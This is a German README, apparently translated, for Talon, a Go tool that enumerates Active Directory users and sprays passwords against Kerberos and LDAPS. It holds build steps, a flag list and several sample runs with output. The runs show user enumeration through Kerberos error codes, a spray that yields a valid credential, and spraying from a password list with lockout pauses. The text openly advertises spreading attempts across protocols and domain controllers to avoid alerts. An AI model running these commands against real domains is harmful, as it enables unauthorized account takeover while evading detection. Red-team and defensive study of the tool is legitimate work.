
Ein Passwort-Rate-Tool, das die Kerberos- und LDAP-Dienste in der Windows Active Directory-Umgebung angreift.
Um die neueste Version von Talon anzusehen oder ein Issue einzureichen, siehe https://github.com/Tylous/Talon.
Talon ist ein Werkzeug, das entwickelt wurde, um automatisierte Passwort-Rateangriffe durchzuführen, dabei aber unentdeckt zu bleiben. Talon kann eine Liste von Benutzern enumerieren, um gültige Benutzer zu identifizieren, und nutzt dafür Kerberos. Talon kann auch einen Passwort-Rateangriff gegen die Dienste Kerberos und LDAPS (LDAP Secure) durchführen. Talon kann entweder einen einzelnen Domänencontroller oder mehrere verwenden, um diese Angriffe durchzuführen, wobei jeder Versuch zwischen den Domänencontrollern und Diensten (LDAP oder Kerberos) randomisiert wird.
Weitere Informationen zu den Techniken finden Sie im folgenden Blog
Laden Sie die für Ihr Betriebssystem passende Version von den Releases herunter.
Talon wurde in Golang entwickelt.
Der erste Schritt ist wie immer, das Repository zu klonen. Bevor Sie Talon kompilieren, müssen Sie die Abhängigkeiten installieren. Führen Sie dazu die folgenden Befehle aus:
go get github.com/fatih/color
go get gopkg.in/jcmturner/gokrb5.v7/client
go get gopkg.in/jcmturner/gokrb5.v7/config
go get gopkg.in/jcmturner/gokrb5.v7/iana/etypeID
go get gopkg.in/ldap.v2
Dann bauen Sie es:
go build Talon.go
$ ./Talon -h
Usage of ./Talon:
-A float
Authentication attempts per lockout period (default 3)
-D string
Fully qualified domain to use
-E Enumerates which users are valid
-H string
Domain controller to connect to
-Hostfile string
File containing the list of domain controllers to connect to
-K Test against Kerberos only
-L Test against LDAP only
-Lockout float
Account lockout period in minutes (default 60)
-O string
File to append the results to
-P string
Password to use
-Passfile string
File containing the list of passwords
-U string
Username to authenticate as
-Userfile string
File containing the list of usernames
-debug
Print debug statements
-sleep float
Time inbetween attempts (default 0.5)
Der Benutzer-Enumerationsmodus kann mit dem Flag -E ausgeführt werden, das nur eine Kerberos-TGT-Pre-Authentifizierungsanfrage an den Ziel-KDC sendet. Diese Anfrage wird jedoch mit einem bekannten ungültigen oder nicht mehr unterstützten Verschlüsselungstyp gesendet. Talon wertet die Antwort des KDC aus, um festzustellen, ob dieser mit KDC_ERR_ETYPE_NOSUPP antwortet (was auf einen existierenden Benutzer hinweist) oder mit KDC_ERR_C_PRINCIPAL_UNKNOWN (falls nicht). Talon kann diese Art der Enumeration gegen mehrere Domänencontroller in einem Unternehmen durchführen, indem mit dem Befehl -Hostfile mehrere Domänencontroller angegeben werden, oder gegen einen einzelnen Domänencontroller mit -H. Diese Technik verursacht keine fehlgeschlagenen Anmeldungen und führt daher nicht zur Sperrung von Benutzern.
./Talon -D STARLABS.LOCAL -Hostfile DCs -Userfile Users -sleep 1 -E
__________ ________ ___ ________ ________
|\___ _\\\ __ \|\ \ |\ __ \|\ ___ \
\|___ \ \_\ \ \|\ \ \ \ \ \ \|\ \ \ \\ \ \
\ \ \ \ \ __ \ \ \ \ \ \\\ \ \ \\ \ \
\ \ \ \ \ \ \ \ \ \____\ \ \\\ \ \ \\ \ \
\ \__\ \ \__\ \__\ \_______\ \_______\ \__\\ \__\
\|__| \|__|\|__|\|_______|\|_______|\|__| \|__|
(@Tyl0us)
[-] 172.16.144.195 STARLABS.LOCAL\asmith: = User Does Not Exist
[+] 172.16.144.185 STARLABS.LOCAL\ballen: = User Exist
[-] 172.16.144.186 STARLABS.LOCAL\bjohnson: = User Does Not Exist
[-] 172.16.144.195 STARLABS.LOCAL\bwayne: = User Does Not Exist
[+] 172.16.144.195 STARLABS.LOCAL\csnow: = User Exist
[-] 172.16.144.186 STARLABS.LOCAL\jtodd: = User Does Not Exist
[+] 172.16.144.186 STARLABS.LOCAL\hwells: = User Exist
[-] 172.16.144.186 STARLABS.LOCAL\wwest: = User's Account Locked
Talon nutzt Kerberos und LDAP, die beide in Active Directory für die Authentifizierung integriert sind. Talon kann Passwort-Raten durchführen, indem es zwischen den beiden Diensten wechselt, sodass der Datenverkehr des Passwortangriffs auf zwei Protokolle aufgeteilt wird. Dadurch wird die Anzahl potenzieller Ereignisse reduziert, was die Wahrscheinlichkeit eines Alarms verringert. Talon geht noch einen Schritt weiter, indem es einen Passwortangriff mit -Hostfile auf mehrere Domänencontroller in einem Unternehmen verteilt und dabei jedes Mal zwischen LDAP und Kerberos wechselt, um eine zusätzliche Ebene der Verschleierung zu schaffen. Falls nötig, kann mit dem Befehl -H ein einzelner Domänencontroller angegeben werden.
./Talon -D STARLABS.LOCAL -Hostfile DCs -Userfile ValidUsers -P "Not3vil" -sleep 1
__________ ________ ___ ________ ________
|\___ _\\\ __ \|\ \ |\ __ \|\ ___ \
\|___ \ \_\ \ \|\ \ \ \ \ \ \|\ \ \ \\ \ \
\ \ \ \ \ __ \ \ \ \ \ \\\ \ \ \\ \ \
\ \ \ \ \ \ \ \ \ \____\ \ \\\ \ \ \\ \ \
\ \__\ \ \__\ \__\ \_______\ \_______\ \__\\ \__\
\|__| \|__|\|__|\|_______|\|_______|\|__| \|__|
(@Tyl0us)
[-] 172.16.144.186 STARLABS.LOCAL\admin:Not3vil = Failed
[-] 172.16.144.185 STARLABS.LOCAL\ballen:Not3vil = Failed
[-] 172.16.144.195 STARLABS.LOCAL\cramon:Not3vil = Failed
[+] 172.16.144.185 STARLABS.LOCAL\hwells:Not3vil = Success
[-] 172.16.144.195 STARLABS.LOCAL\ssmith:Not3vil = Failed
Talon ist so konzipiert, dass es in jeder Situation vielseitig einsetzbar ist. Wenn also nur Kerberos verfügbar ist, kann Talon so eingestellt werden, dass es nur gegen Kerberos angreift (mit dem Flag -K) oder nur gegen LDAP (mit dem Flag -L).
Talon kann sowohl Kerberos als auch LDAP verwenden, um die Antworten während eines Passwort-Rateangriffs zu lesen. Talon kann Kontosperrungen während eines aktiven Passwort-Rateangriffs erkennen, indem es den Antwortcode jedes Passwortversuchs auswertet. Dies kann helfen, unerwünschte Kontosperrungen im gesamten Unternehmen zu vermeiden und so unentdeckt zu bleiben. Folgen Sie einfach der Eingabeaufforderung, um den Angriff abzubrechen oder fortzusetzen.
root@kali:~# ./Talon -Hostfile DCs -Userfile ValidUsers -D STARLABS.local -P "Password!" -sleep 2
__________ ________ ___ ________ ________
|\___ _\\\ __ \|\ \ |\ __ \|\ ___ \
\|___ \ \_\ \ \|\ \ \ \ \ \ \|\ \ \ \\ \ \
\ \ \ \ \ __ \ \ \ \ \ \\\ \ \ \\ \ \
\ \ \ \ \ \ \ \ \ \____\ \ \\\ \ \ \\ \ \
\ \__\ \ \__\ \__\ \_______\ \_______\ \__\\ \__\
\|__| \|__|\|__|\|_______|\|_______|\|__| \|__|
(@Tyl0us)
[-] 172.16.144.186 STARLABS.LOCAL\ballen:Password! = Failed
[-] 172.16.144.185 STARLABS.LOCAL\csnow:Password! = Failed
[-] 172.16.144.186 STARLABS.LOCAL\wwest:Password! = User's Account Locked
[*] Account lock out detected - Do you want to continue.[y/n]:
Talon ist in der Lage zu erkennen, ob die anvisierten Domänencontroller aktiv oder nicht verfügbar sind. Dies hilft sicherzustellen, dass Sie genaue Ergebnisse erhalten, ohne Zeit zu verschwenden.
root@kali:~# ./Talon -H 172.14.15.1 -Userfile ValidUsers -D STARLABS.local -P "Frosty20" -sleep 2
__________ ________ ___ ________ ________
|\___ _\\\ __ \|\ \ |\ __ \|\ ___ \
\|___ \ \_\ \ \|\ \ \ \ \ \ \|\ \ \ \\ \ \
\ \ \ \ \ __ \ \ \ \ \ \\\ \ \ \\ \ \
\ \ \ \ \ \ \ \ \ \____\ \ \\\ \ \ \\ \ \
\ \__\ \ \__\ \__\ \_______\ \_______\ \__\\ \__\
\|__| \|__|\|__|\|_______|\|_______|\|__| \|__|
(@Tyl0us)
[Root cause: Networking_Error] Networking_Error: AS Exchange Error: failed sending AS_REQ to KDC: failed to communicate with KDC 172.14.15.1
[*] Do you want to continue.[y/n]:
Talon kann einen Passwort-Rateangriff gegen eine Liste möglicher Passwörter aus einer Datei durchführen (mittels -Passfile). Da dies SEHR GEFÄHRLICH sein kann, verfügt Talon über Steuerungsmöglichkeiten, um nach einer bestimmten Anzahl von Versuchen (-A) für eine festgelegte Zeit (-Lockout) zu pausieren. Bitte beachten Sie, dass es wichtig ist, die Passwortrichtlinie zu kennen, bevor Sie diese Optionen verwenden, da das Einreihen mehrerer Passwortversuche zur Sperrung von Konten führen kann, wenn Sie die Passwortrichtlinie nicht kennen.
./Talon -H 172.16.144.185 -Userfile users -Passfile Passwords -D STARLABS.local -Lockout 45 -A 2 -sleep 1.5
__________ ________ ___ ________ ________
|\___ _\\\ __ \|\ \ |\ __ \|\ ___ \
\|___ \ \_\ \ \|\ \ \ \ \ \ \|\ \ \ \\ \ \
\ \ \ \ \ __ \ \ \ \ \ \\\ \ \ \\ \ \
\ \ \ \ \ \ \ \ \ \____\ \ \\\ \ \ \\ \ \
\ \__\ \ \__\ \__\ \_______\ \_______\ \__\\ \__\
\|__| \|__|\|__|\|_______|\|_______|\|__| \|__|
(@Tyl0us)
[*] Warning: Selection option will spray multiple passwords and risk locking accounts. Do you want to continue? [y/n]: y
03-10-2022 15:58:21: Using password: Password123
[-] 172.16.144.185 STARLABS.LOCAL\admin:Password123 = Failed
[-] 172.16.144.185 STARLABS.LOCAL\ballen:Password123 = Failed
[-] 172.16.144.185 STARLABS.LOCAL\cramon:Password123 = Failed
[-] 172.16.144.185 STARLABS.LOCAL\hwells:Password123 = Failed
[-] 172.16.144.185 STARLABS.LOCAL\ssmith:Password123 = Failed
03-10-2022 15:58:26: Using password: Spring2022
[-] 172.16.144.185 STARLABS.LOCAL\admin:Spring2022 = Failed
[-] 172.16.144.185 STARLABS.LOCAL\ballen:Spring2022 = Failed
[-] 172.16.144.185 STARLABS.LOCAL\cramon:Spring2022 = Failed
[-] 172.16.144.185 STARLABS.LOCAL\hwells:Spring2022 = Failed
[-] 172.16.144.185 STARLABS.LOCAL\ssmith:Spring2022 = Failed
Hit timeout period - Sleeping for 45 minutes...
Will resume at 03-10-2022 16:43:35